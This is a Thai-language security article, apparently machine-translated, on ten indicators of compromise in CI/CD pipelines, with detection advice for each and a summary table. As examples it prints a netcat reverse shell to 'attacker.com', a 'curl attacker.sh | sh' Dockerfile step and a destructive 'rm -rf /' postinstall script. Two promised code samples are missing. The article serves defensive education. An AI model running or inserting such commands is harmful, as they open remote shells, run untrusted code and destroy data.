บทนำ: ตัวบ่งชี้การถูกบุกรุกในด้านความปลอดภัยทางไซเบอร์มีอะไรบ้าง?
ตัวบ่งชี้การถูกบุกรุกเป็นสัญญาณเตือนแรกที่บ่งบอกว่าระบบของคุณหรือ... pipeline อาจกำลังถูกโจมตี พูดง่ายๆ ก็คือ ตัวชี้วัดของการประนีประนอม ร่องรอยที่ผู้โจมตีทิ้งไว้ เช่น ร่องรอยแปลกๆ loginการเปลี่ยนแปลงไฟล์ หรือมัลแวร์ที่ซ่อนอยู่ ความปลอดภัยทางไซเบอร์ของ IOCพวกมันเปรียบเสมือนลายนิ้วมือในที่เกิดเหตุอาชญากรรม ที่ให้หลักฐานชัดเจนว่ามีบางอย่างผิดปกติ ดังนั้น เมื่อนักพัฒนาถาม ตัวบ่งชี้ของการประนีประนอมมีอะไรบ้างคำตอบไม่ได้จำกัดอยู่แค่เซิร์ฟเวอร์หรือไฟร์วอลล์เท่านั้น แต่ยังรวมถึงความเสี่ยงที่ซ่อนอยู่ในระบบสมัยใหม่ด้วย CI/CD pipelines.
ในสิ่งเหล่านี้ pipelineด้วยเหตุนี้ ผู้โจมตีจึงสามารถแก้ไขโค้ด แทรกส่วนประกอบที่เป็นอันตราย หรือเปลี่ยนแปลงขั้นตอนการสร้างซอฟต์แวร์ได้โดยไม่ถูกตรวจพบ อย่างไรก็ตาม คู่มือส่วนใหญ่ยังคงมุ่งเน้นไปที่เซิร์ฟเวอร์หรือเครือข่ายเท่านั้น ส่งผลให้ห่วงโซ่อุปทานซอฟต์แวร์กลายเป็นเป้าหมายที่ง่ายที่สุดเป้าหมายหนึ่ง
นั่นคือเหตุผลที่การค้นหาตัวบ่งชี้การประนีประนอมใน CI/CD pipelineเป็นสิ่งสำคัญอย่างยิ่ง เหนือสิ่งอื่นใด มันช่วยให้ทีมสามารถบล็อกมัลแวร์ ปกป้องข้อมูลลับ และรักษาความปลอดภัยในทุกขั้นตอนของการส่งมอบซอฟต์แวร์
10 ตัวชี้วัดสำคัญของการประนีประนอมใน CI/CD Pipelines
เมื่ออธิบายถึงตัวบ่งชี้การถูกบุกรุก รายการส่วนใหญ่จะเน้นไปที่เซิร์ฟเวอร์หรือเครือข่าย แต่ใน CI/CD pipelineผู้โจมตีมักทิ้งร่องรอยที่แตกต่างกันออกไป การจดจำสัญญาณเหล่านี้มีความสำคัญอย่างยิ่งต่อการป้องกันเชิงรุก ด้านล่างนี้คือสัญญาณเตือนภัยทางไซเบอร์ 10 ประการ (IOC) ที่นักพัฒนาและวิศวกรด้านความปลอดภัยทุกคนควรระวัง
1. การเปลี่ยนแปลงความสัมพันธ์ที่น่าสงสัย
หนึ่งในตัวชี้วัดหลักของการประนีประนอมใน pipelines คือการอัปเดตการพึ่งพาที่เกิดขึ้นอย่างกะทันหันและผิดปกติ ผู้โจมตีมักใช้ความไว้วางใจที่นักพัฒนาซอฟต์แวร์มีต่อตัวจัดการแพ็กเกจเพื่อเพิ่มแพ็กเกจที่เป็นอันตราย
ตัวอย่างเช่น ใน npm package.json diff อาจรวมถึงสิ่งต่อไปนี้โดยไม่คาดคิด:
การเปลี่ยนแปลงดังกล่าวอาจดูปลอดภัย แต่สามารถแทรกโค้ดที่เป็นอันตรายเข้าไปในทุกการสร้างโปรแกรมได้
ผลกระทบ: ระบบที่ถูกบุกรุกจะสืบทอดมัลแวร์มาจากต้นทาง
การตรวจสอบ: บังคับใช้การตรวจสอบความสัมพันธ์ของแพ็กเกจ ติดตามความแตกต่างของไฟล์ล็อก และสแกนแพ็กเกจใหม่ตลอดเวลา
2. โค้ดที่ถูกปกปิดซ่อนเร้นในบิลด์
ผู้สร้างมัลแวร์อาศัยการปกปิดข้อมูลเพื่อหลีกเลี่ยงการตรวจสอบ ส่งผลให้ตัวบ่งชี้การบุกรุกนี้ใน CI/CD pipelineการเข้ารหัสแบบซ่อนเร้นอาจเป็นหนึ่งในสิ่งที่ตรวจจับได้ยากที่สุด ที่จริงแล้ว เพย์โหลดที่เข้ารหัสแบบซ่อนเร้นมักแทรกซึมเข้าไปในไลบรารีโอเพนซอร์สหรืออิมเมจคอนเทนเนอร์โดยไม่มีใครสังเกตเห็น
ตัวอย่างเช่น:
- แพ็คเกจ PyPI ที่ใช้
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - อิมเมจ Docker ที่บรรจุไบนารี UPX ที่ไม่จำเป็นไว้มากมาย
- JavaScript เต็มไปด้วย
\x41\x42หลบหนีจากการซ่อนตัวของผู้ขโมยข้อมูลประจำตัว
ผลกระทบ: โค้ดที่ซ่อนอยู่จะทำงานโดยไม่เปิดเผยตัวตนในระหว่างการสร้างหรือการทำงาน ซึ่งทำให้สิ่งนี้เป็นสัญญาณสำคัญในการรักษาความปลอดภัยทางไซเบอร์ของ IOC (Intelligent Entry Control)
การตรวจสอบ: รวมกัน SAST โดยใช้โปรแกรมสแกนหามัลแวร์เพื่อตรวจจับโค้ดที่เข้ารหัสหรือบีบอัด เหนือสิ่งอื่นใด ให้ถือว่าการปกปิดโค้ดเป็นสัญญาณอันตรายที่ควรได้รับการตรวจสอบเพิ่มเติม
3. ความลับที่ถูกเปิดเผยใน Git: ความเสี่ยงด้านความปลอดภัยทางไซเบอร์แบบคลาสสิกของ IOC
CI/CD pipelineโดยทั่วไปแล้ว ระบบจะสืบทอดความลับโดยตรงจากแหล่งเก็บข้อมูล อย่างไรก็ตาม เมื่อความลับปรากฏใน Gitสิ่งเหล่านี้กลายเป็นหนึ่งในคำตอบที่ชัดเจนที่สุดสำหรับคำถามที่ว่า “อะไรคือตัวบ่งชี้ของการประนีประนอมใน...” pipelineเมื่อข้อมูลประจำตัวถูกบันทึกใน Git แล้ว ผู้โจมตีสามารถใช้ประโยชน์จากข้อมูลเหล่านั้นได้อย่างไม่มีกำหนด
ตัวอย่างเช่น:
- A
.envไฟล์ที่มีAWS_SECRET_KEY=. - โทเค็นถูกผลักดันเข้าไป
config.json. - ความลับบางอย่างยังคงปรากฏให้เห็นในประวัติ Git แม้ว่าจะลบไปแล้วก็ตาม
ผลกระทบ: คีย์ที่เปิดเผยทำให้ผู้โจมตีสามารถเข้าถึงข้อมูลได้โดยตรง CI/CD pipelineระบบคลาวด์ หรือฐานข้อมูล นี่จึงเป็นหนึ่งในตัวบ่งชี้การถูกโจมตีที่อันตรายที่สุด
การตรวจสอบ: ใช้ pre-commit hooks และดำเนินการงาน CI สำหรับการสแกนข้อมูลลับ และเพิกถอนคีย์ที่รั่วไหลทันที นอกจากนี้ ให้บังคับใช้การแก้ไขอัตโนมัติเพื่อลดช่วงเวลาที่มีความเสี่ยง
4. ถูกดัดแปลง Pipeline การกำหนดค่า: ตัวบ่งชี้การบุกรุกที่ซ่อนอยู่
Pipeline ไฟล์การตั้งค่าถือเป็นเป้าหมายที่มีมูลค่าสูง เนื่องจาก การเปลี่ยนแปลงเพียงเล็กน้อยมักทำให้กระบวนการทำงานทั้งหมดหยุดชะงักดังนั้นจึงมีการดัดแปลงแก้ไข pipeline ไฟล์เหล่านี้เป็นความเสี่ยงด้านความปลอดภัยทางไซเบอร์ที่สำคัญของ IOC ซึ่งเครื่องมือตรวจสอบแบบดั้งเดิมมักตรวจไม่พบ
ตัวอย่างเช่น:
ใน GitHub Actions:
- ใน GitLab: มีการเพิ่มงานที่เป็นอันตรายเข้าไป
.gitlab-ci.ymlที่ทำการดัมพ์ข้อมูลที่ละเอียดอ่อน - ในเจนกินส์:
sh "nc -e /bin/bash attacker.com 4444".
ผลกระทบ: การเปลี่ยนแปลงที่ไม่ได้รับการอนุมัติเหล่านี้จะเปลี่ยนของคุณ pipeline กลายเป็นช่องโหว่ถาวรสำหรับผู้โจมตี ซึ่งถือเป็นสัญญาณบ่งชี้ว่าระบบถูกบุกรุกอย่างชัดเจน
การตรวจสอบ: บังคับใช้การกำหนดค่าที่ลงนามแล้ว กำหนดให้ต้องอนุมัติคำขอรวมโค้ด และตรวจสอบงานที่ไม่คาดคิด นอกจากนี้ ให้ตั้งค่า guardrails ซึ่งจะบล็อกเวิร์กโฟลว์ที่ถูกแก้ไขโดยอัตโนมัติ
5. สิทธิพิเศษ IaC เริ่มต้น
การกำหนดค่าโครงสร้างพื้นฐานที่ไม่ถูกต้องมักสร้างช่องโหว่ที่ซ่อนเร้น ส่งผลให้ค่าเริ่มต้นที่มีสิทธิ์พิเศษใน IaC เป็นความเสี่ยงด้านความปลอดภัยทางไซเบอร์แบบคลาสสิกของ IOC
ตัวอย่างเช่น:
- การปรับใช้ Kubernetes ที่อนุญาตให้ Pods
privileged: true. - แผนภูมิ Helm ที่เปิดเผยบริการต่างๆ ด้วย
0.0.0.0:22.
ผลกระทบ: ผู้โจมตีสามารถเข้าถึงสิทธิ์ระดับรากหรือเปิดเผยบริการภายในสู่สาธารณะได้ ดังนั้น ปัญหาเหล่านี้จึงขยายขอบเขตการโจมตีอย่างมาก
การตรวจสอบ: สมัครสมาชิก IaC ทำการสแกนเพื่อบังคับใช้สิทธิ์ขั้นต่ำสุดก่อนการรวม นอกจากนี้ ตรวจสอบให้แน่ใจว่าได้ตรวจสอบการกำหนดค่าทุกรายการเป็นส่วนหนึ่งของกระบวนการ pipeline.
6. พฤติกรรมการสร้างที่ไม่ปกติ
ผู้โจมตีมักจะเปลี่ยนแปลง pipeline พฤติกรรมที่อาจแฝงด้วยการกระทำที่เป็นอันตราย กล่าวอีกนัยหนึ่ง กิจกรรมการสร้างระบบที่ผิดปกติเป็นหนึ่งในคำตอบที่ชัดเจนที่สุดสำหรับตัวบ่งชี้การถูกบุกรุก CI/CD pipelines.
ตัวอย่างเช่น:
- สร้างโปรแกรมที่ส่งคำขอเครือข่ายขาออกไปยังโดเมนแปลก ๆ
- โปรเจ็กต์ Node.js จู่ๆ ก็เปิด PowerShell ขึ้นมา
npm install. - กระบวนการ CI กำลังดาวน์โหลดไฟล์ไบนารีขนาดใหญ่ที่ไม่ได้ระบุไว้ในสคริปต์การสร้าง
ผลกระทบ: ระบบที่ถูกบุกรุกสามารถทำหน้าที่เป็นจุดกระจายมัลแวร์ได้ ที่สำคัญที่สุดคือ มันจะแพร่กระจายเพย์โหลดที่เป็นอันตรายไปทั่วทุกการติดตั้งใช้งาน
การตรวจสอบ: ตรวจสอบบันทึกการสร้างเพื่อหาโปรเซสหรือการเชื่อมต่อที่ไม่คาดคิด นอกจากนี้ ให้กำหนดค่าการตรวจจับความผิดปกติเพื่อระบุพฤติกรรมที่อยู่นอกเหนือปกติ
7. สคริปต์แพ็กเกจที่เป็นอันตรายในฐานะ IOC ความเสี่ยงด้านความปลอดภัยทางไซเบอร์
ตัวจัดการแพ็กเกจสนับสนุนวงจรชีวิต hooks ซึ่งเป็นช่องโหว่ที่ผู้โจมตีใช้ประโยชน์ ดังนั้น สคริปต์ที่เป็นอันตรายใน npm, PyPI หรือ Dockerfile จึงเป็นตัวบ่งชี้ที่ชัดเจนว่าระบบถูกบุกรุก
ตัวอย่างเช่น:
- เวลา 12.00 น.:
postinstallสคริปต์กำลังทำงานrm -rf /หรือส่งสัญญาณไปยังศูนย์บัญชาการและควบคุม (C2) - ไพพีไอ:
setup.pyเรียกใช้โค้ด Python ที่ซ่อนไว้ระหว่างการติดตั้ง - ไฟล์ด็อกเกอร์:
RUN curl attacker.sh | sh.
ผลกระทบ: การโจมตีจะเกิดขึ้นระหว่างการติดตั้ง ก่อนที่จะมีการทดสอบการทำงานใดๆ ดังนั้น นักพัฒนาอาจไม่สังเกตเห็นจนกว่าจะสายเกินไป
การตรวจสอบ: ตรวจสอบไฟล์ manifest ของแพ็กเกจเพื่อหาสคริปต์การติดตั้ง นอกจากนี้ ให้จำกัดความเสี่ยงด้วย hooks in CI/CD งานที่ช่วยลดความเสี่ยงจากการสัมผัสกับเชื้อโรค
8. ตัวบ่งชี้การปนเปื้อนของรีจิสทรี
ผู้โจมตีจะทำการแทนที่หรือแก้ไขข้อมูลในรีจิสทรี และเหตุการณ์เหล่านี้เป็นตัวอย่างที่ชัดเจนของตัวบ่งชี้การถูกบุกรุกในห่วงโซ่อุปทาน pipelines.
ตัวอย่างเช่น:
- แท็กอิมเมจ Docker ถูกอัปเดตโดยไม่แจ้งให้ทราบล่วงหน้าด้วยเลเยอร์ที่แฝงด้วยมัลแวร์
- แพ็กเกจภายในถูกแทนที่ด้วยเวอร์ชันที่ปนเปื้อน
- การยึดครองเนมสเปซของ npm เช่น
lodash-proxy.
ผลกระทบ: ทุกการสร้างระบบโดยใช้ไฟล์ที่ได้จากรีจิสทรีจะมีความเสี่ยง ไม่เพียงเท่านั้น ความเสี่ยงยังลุกลามไปยังบริการปลายทางอื่นๆ ด้วย
การตรวจสอบ: บังคับใช้การตรวจสอบลายเซ็นและความสมบูรณ์ของข้อมูลในการดึงข้อมูลจากรีจิสทรีทั้งหมด นอกจากนี้ ให้ติดตามแหล่งที่มาของอาร์ติแฟกต์ด้วย SBOM การตรวจสอบ
9. กิจกรรมของผู้ใช้ที่ผิดปกติเป็นหลักฐานของ IOC
บัญชีที่ถูกแฮ็กมักจะทิ้งร่องรอยผิดปกติไว้เสมอ ดังนั้น พฤติกรรมที่ผิดปกติของนักพัฒนาจึงเป็นตัวบ่งชี้ที่ชัดเจนว่าระบบอาจถูกโจมตี
ตัวอย่างเช่น:
- Commitมีการโพสต์ข้อความดังกล่าวเมื่อเวลา 3:00 น. ตามเวลาท้องถิ่น
- การอนุมัติข่าวประชาสัมพันธ์โดยเจ้าหน้าที่ฝ่ายบัญชีที่ลาพักร้อน
- Pipelines ถูกกระตุ้นด้วยความถี่ที่ผิดปกติ
ผลกระทบ: ผู้โจมตีใช้ข้อมูลประจำตัวที่ถูกขโมยไปเพื่อแทรกการเปลี่ยนแปลงที่เป็นอันตราย เพราะท้ายที่สุดแล้ว การเข้าถึงโดยไม่ได้รับอนุญาตถือเป็นการกระทำที่ผิดกฎหมาย commitสามารถผสานเข้ากับขั้นตอนการทำงานปกติได้อย่างง่ายดาย
การตรวจสอบ: การตรวจสอบ SCM ตรวจสอบความผิดปกติ บังคับใช้ MFA และหมุนเวียนโทเค็นเป็นประจำ นอกจากนี้ ให้แจ้งเตือนเมื่อพบสิ่งผิดปกติ commit หรือรูปแบบการอนุมัติ
10. การตรวจสอบความสมบูรณ์หรือลายเซ็นไม่ผ่านในระบบรักษาความปลอดภัยทางไซเบอร์ของ IOC
เป็นเรื่องที่พบเห็นได้ทั่วไปแต่กลับถูกมองข้าม ตัวบ่งชี้ของการประนีประนอม คือการตรวจสอบความสมบูรณ์หรือลายเซ็นที่ไม่ผ่าน ในระบบรักษาความปลอดภัยไซเบอร์ IOC การตรวจสอบเหล่านี้จะยืนยันว่าโค้ดหรือสิ่งประดิษฐ์นั้นเป็นของแท้ การข้ามการตรวจสอบเหล่านี้จะทำให้เกิดปัญหา pipelineถูกเปิดเผยแล้ว
ตัวอย่าง:
- ค่าแฮช SHA256 ไม่ตรงกับค่าตรวจสอบความถูกต้องที่คาดไว้
- ลายเซ็น GPG หายไปหรือไม่ถูกต้อง
- An SBOM แสดงสิ่งประดิษฐ์ที่ไม่มีลายเซ็น
ผลกระทบ: ความล้มเหลวด้านความสมบูรณ์ของข้อมูลมักหมายถึงการดัดแปลงแก้ไข การโจมตีรีจิสทรี หรือการแทรกมัลแวร์
การตรวจสอบ: ทำการตรวจสอบลายเซ็นโดยอัตโนมัติ บังคับใช้การตรวจสอบความถูกต้องของค่าตรวจสอบ และบล็อกส่วนประกอบที่ไม่มีลายเซ็น เหนือสิ่งอื่นใด ให้ถือว่าการตรวจสอบที่ล้มเหลวทุกครั้งเป็นหลักฐานที่ชัดเจนว่าระบบถูกบุกรุก
CI/CD ตัวชี้วัดการประนีประนอมโดยสังเขป
| ตัวบ่งชี้การประนีประนอม (IOC) | ผลกระทบใน CI/CD Pipelines | วิธีตรวจจับ |
|---|---|---|
| การเปลี่ยนแปลงการพึ่งพาที่น่าสงสัย | ผู้โจมตีแทรกไลบรารีที่เป็นอันตรายเข้าไปในตัวจัดการแพ็กเกจ ส่งผลให้เวอร์ชันที่สร้างไว้เสียหาย | ติดตามความแตกต่างของไฟล์ล็อก บังคับใช้การตรวจสอบการพึ่งพา และสแกนการพึ่งพาอย่างต่อเนื่อง |
| โค้ดที่ถูกปกปิดในบิลด์ | โค้ดที่ซ่อนไว้จะทำงานระหว่างการสร้างหรือขณะรันไทม์โดยไม่ถูกตรวจจับ | ใช้ SAST และการสแกนหามัลแวร์เพื่อตรวจจับรูปแบบโค้ด base64, hex หรือ packed code |
| ความลับที่ถูกเปิดเผยใน Git | โทเค็นหรือคีย์ API ที่รั่วไหลจะทำให้ผู้โจมตีสามารถเข้าถึงระบบสำคัญได้โดยตรง | เรียกใช้การสแกนลับใน Git hooks และเพิกถอนข้อมูลประจำตัวที่รั่วไหลโดยอัตโนมัติ |
| ถูกดัดแปลง Pipeline รุ่นเครื่องทดสอบ และรูปแบบการทำงาน | ขั้นตอนการทำงานที่ถูกดัดแปลงอนุญาตให้มีการรั่วไหลของข้อมูลหรือการคงอยู่ของข้อมูลภายใน CI/CD. | กำหนดให้ต้องได้รับการอนุมัติจาก PR บังคับใช้การกำหนดค่าที่ลงนามแล้ว และตรวจสอบ pipeline การเปลี่ยนแปลง |
| ได้รับการยกเว้น IaC เริ่มต้น | การกำหนดบทบาทที่อนุญาตมากเกินไปหรือการตั้งค่าเริ่มต้นที่ไม่ปลอดภัยอาจทำให้สภาพแวดล้อมคลาวด์มีความเสี่ยง | ตรวจสอบไฟล์ Terraform, Kubernetes และ Helm เพื่อให้มั่นใจว่ามีการบังคับใช้สิทธิ์ขั้นต่ำสุด |
| พฤติกรรมการสร้างที่ไม่ปกติ | Pipelineใช้เป็นจุดกระจายมัลแวร์หรือสำหรับการเคลื่อนย้ายภายในเครือข่าย | วิเคราะห์บันทึกการสร้างเพื่อหาการดาวน์โหลด กระบวนการ หรือการเรียกใช้งานภายนอกที่ไม่คาดคิด |
| สคริปต์แพ็กเกจที่เป็นอันตราย | สคริปต์ก่อน/หลังการติดตั้งที่ซ่อนอยู่จะเรียกใช้เพย์โหลดก่อนการทดสอบขณะทำงาน | บล็อกสคริปต์ npm/PyPI ที่มีความเสี่ยงและจำกัดการเรียกใช้งานใน CI/CD งาน |
| การวางยาพิษทะเบียน | ไฟล์ที่แฝงด้วยมัลแวร์จะเข้ามาแทนที่ไฟล์ภาพหรือไฟล์ไบนารีที่เชื่อถือได้ในระบบจัดเก็บข้อมูล | ตรวจสอบค่า checksum บังคับใช้การตรวจสอบลายเซ็น และสแกนรีจิสทรีอย่างสม่ำเสมอ |
| กิจกรรมผู้ใช้ที่ผิดปกติ | บัญชีที่ถูกแฮ็กจะผลักดันสิ่งที่เป็นอันตราย commitส หรือ ทริกเกอร์ pipelines. | บังคับใช้ MFA และตรวจสอบ commitตรวจหาความผิดปกติ และวิเคราะห์ login รูปแบบ |
| การตรวจสอบความถูกต้องหรือลายเซ็นไม่ผ่าน | บ่งชี้ว่ามีการแก้ไขโค้ด ส่วนประกอบ หรือรูปภาพที่เข้าสู่ระบบ pipeline. | ทำการตรวจสอบความถูกต้องโดยอัตโนมัติและบล็อกส่วนประกอบที่ไม่มีลายเซ็นหรือไม่ตรงกัน |
เหตุใดระบบรักษาความปลอดภัยทางไซเบอร์ของ IOC แบบดั้งเดิมจึงล้มเหลว CI/CD ความเสี่ยง
องค์กรส่วนใหญ่ตรวจสอบตัวบ่งชี้การโจมตี (IOC) บนเซิร์ฟเวอร์ คอมพิวเตอร์ หรือเครือข่ายอยู่แล้ว อย่างไรก็ตาม แนวทางการรักษาความปลอดภัยทางไซเบอร์แบบดั้งเดิมนี้มองข้ามสิ่งสำคัญไป CI/CD pipelineซึ่งปัจจุบันถือเป็นหนึ่งในช่องโหว่ที่สำคัญที่สุด ในความเป็นจริง pipelineแสดงสัญญาณการประนีประนอมที่ไม่เหมือนใคร ซึ่งเครื่องมือแบบดั้งเดิมไม่สามารถตรวจจับได้
ตัวบ่งชี้การถูกบุกรุกในระบบรักษาความปลอดภัยแบบดั้งเดิม
ในการรักษาความปลอดภัยทางไซเบอร์ของ IOC แบบดั้งเดิมนั้น โดยทั่วไปจะเน้นไปที่:
- ผิดปกติ loginหรือที่อยู่ IP ที่บ่งชี้ว่ามีการขโมยข้อมูลประจำตัว
- ค่าแฮชไฟล์ที่น่าสงสัย หรือการเปลี่ยนแปลงในรีจิสทรีที่บ่งชี้ถึงมัลแวร์
- ปริมาณการรับส่งข้อมูลขาออกที่ผิดปกติ บ่งชี้ถึงการรั่วไหลของข้อมูล
ตัวชี้วัดเหล่านี้เป็นที่รู้จักกันดีและมีการติดตามอย่างสม่ำเสมอ กรอบงาน MITER ATT&CKซึ่งเป็นแผนที่แสดงพฤติกรรมและกลยุทธ์ของศัตรูที่พบได้ทั่วไป สัญญาณเหล่านี้มีประโยชน์ แต่ส่วนใหญ่ใช้ได้กับระบบปฏิบัติการหรือเครือข่ายองค์กรเท่านั้น ส่งผลให้พลาดการดัดแปลงแก้ไขอย่างละเอียดอ่อนที่เกิดขึ้นก่อนหน้านี้ในห่วงโซ่อุปทานซอฟต์แวร์
ทำไม CI/CD Pipelines แตกต่างกัน
CI/CD pipelineสภาพแวดล้อมอัตโนมัติเหล่านี้เป็นที่ที่นักพัฒนาสามารถทำงานได้อย่างสะดวก commit เขียนโค้ด ดึงส่วนประกอบที่จำเป็น และปล่อยเวอร์ชันที่สร้างเสร็จแล้ว ผู้โจมตีรู้ว่าการถูกโจมตีเพียงครั้งเดียวจะส่งผลกระทบต่อทุกการใช้งาน ดังนั้น ตัวบ่งชี้การถูกโจมตีในที่นี้มีอะไรบ้าง CI/CD pipelineเหรอ? พวกมันดูแตกต่างกันมากเลยนะ:
- มีการเพิ่ม dependency ที่เป็นอันตรายเข้าไปในไฟล์ package.json หรือ requirements.txt โดยไม่แจ้งให้ทราบล่วงหน้า
- คีย์ API หรือโทเค็นที่ถูกเปิดเผยใน Git commitไฟล์ .s หรือ .env
- โค้ดที่ถูกเข้ารหัสลับถูกแทรกเข้าไปในแพ็กเกจ npm หรือ PyPI
- ไฟล์ Terraform หรือ Kubernetes ที่มีการตั้งค่าเริ่มต้นที่ไม่ปลอดภัย เช่น privileged: true
- Pipeline งานที่ถูกแก้ไขเพื่อขโมยข้อมูลหรือเปิดช่องโหว่
สัญญาณประนีประนอมเหล่านี้ใน CI/CD ยังคงมองไม่เห็น standard เครื่องมือรักษาความปลอดภัย
ช่องว่างในด้านความปลอดภัยทางไซเบอร์ของ IOC
แม้ว่าหลายทีมจะเข้าใจถึงคุณค่าของตัวบ่งชี้การบุกรุก แต่พวกเขายังคงพึ่งพาการตรวจจับจากเซิร์ฟเวอร์และบันทึกเครือข่ายเพียงอย่างเดียว ดังนั้น ผู้โจมตีจึงสามารถปนเปื้อนระบบหรือแทรกมัลแวร์โดยไม่ทิ้งร่องรอยใดๆ นี่คือเหตุผลที่เหตุการณ์ต่างๆ เช่น ช่องโหว่ XZ Utils หรือแพ็กเกจ npm ที่เป็นอันตราย ไม่ถูกตรวจพบจนกระทั่งไปถึงระบบใช้งานจริง
การประนีประนอมในห่วงโซ่อุปทานในลักษณะนี้ยังถูกเน้นย้ำโดย CISคำแนะนำด้านความปลอดภัยของห่วงโซ่อุปทานของ Aซึ่งเป็นการเตือนว่าผู้โจมตีมุ่งเป้าไปที่กลุ่มเป้าหมายนี้มากขึ้นเรื่อยๆ CI/CD pipelineและทะเบียนต่างๆ
Takeaway
ระบบรักษาความปลอดภัยทางไซเบอร์ IOC แบบดั้งเดิมนั้นจำเป็น แต่ยังไม่เพียงพอ สิ่งสำคัญที่สุดคือ ทีมงานต้องรู้จักตัวบ่งชี้การประนีประนอมที่เฉพาะเจาะจง CI/CD pipelineเฉพาะในกรณีนั้นเท่านั้นที่พวกเขาจะสามารถตรวจจับโค้ดที่เป็นอันตรายได้ pipeline การละเมิดก่อนที่จะแพร่กระจายไปยังสภาพแวดล้อมอื่นๆ
